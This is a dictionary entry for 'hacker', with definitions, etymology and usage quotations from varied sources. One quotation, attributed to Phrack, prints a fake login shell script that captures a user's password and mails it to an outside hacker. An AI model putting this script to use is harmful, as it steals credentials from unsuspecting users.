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hacker - definition and meaning
Definitions
from The Century Dictionary.
noun hack , 4.
from the GNU version of the Collaborative International Dictionary of English.
noun
from Wiktionary , Creative Commons Attribution/Share-Alike License.
noun hacks , a tool or device for hacking .noun hacks .noun computing one who is expert at programming and solving problems with a computernoun computing one who uses a computer to gain unauthorized access to data.noun computing a computer security professionalnoun US one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.noun US one who operates a taxicab
from WordNet 3.0 Copyright 2006 by Princeton University. All rights reserved.
noun noun noun noun
Etymologies
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to hack + -er
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A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.
Phrack Issue #18 (Crimson Death's Issue) 1988
Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.
Stars and Stripes 2010
If you really feel the need, explain the term hacker , or point them to the Wikipedia entry on the term.
Irongeek's Security Site 2009
The word "hacker " has an unfairly negative connotation from being portrayed in the media as people who break into computers.
Facebook's letter from Mark Zuckerberg - full text 2012
I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
Archive 2005-04-01 2005
I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
Hacked Off 2005
Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.
Boing Boing: July 8, 2001 - July 14, 2001 Archives 2001
The word "hacker " has an unfairly negative connotation from being portrayed in the media as people who break into computers.
Forbes.com: News Robert Hof 2012
The word "hacker " has an unfairly negative connotation from being portrayed in the media as people who break into computers.
BusinessWeek.com -- Top News 2012
"The word 'hacker ' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.
SFGate: Don Asmussen: Bad Reporter Benny Evangelista 2012
seanahan commented on the word hacker
Not to be confused with "cracker".
December 2, 2006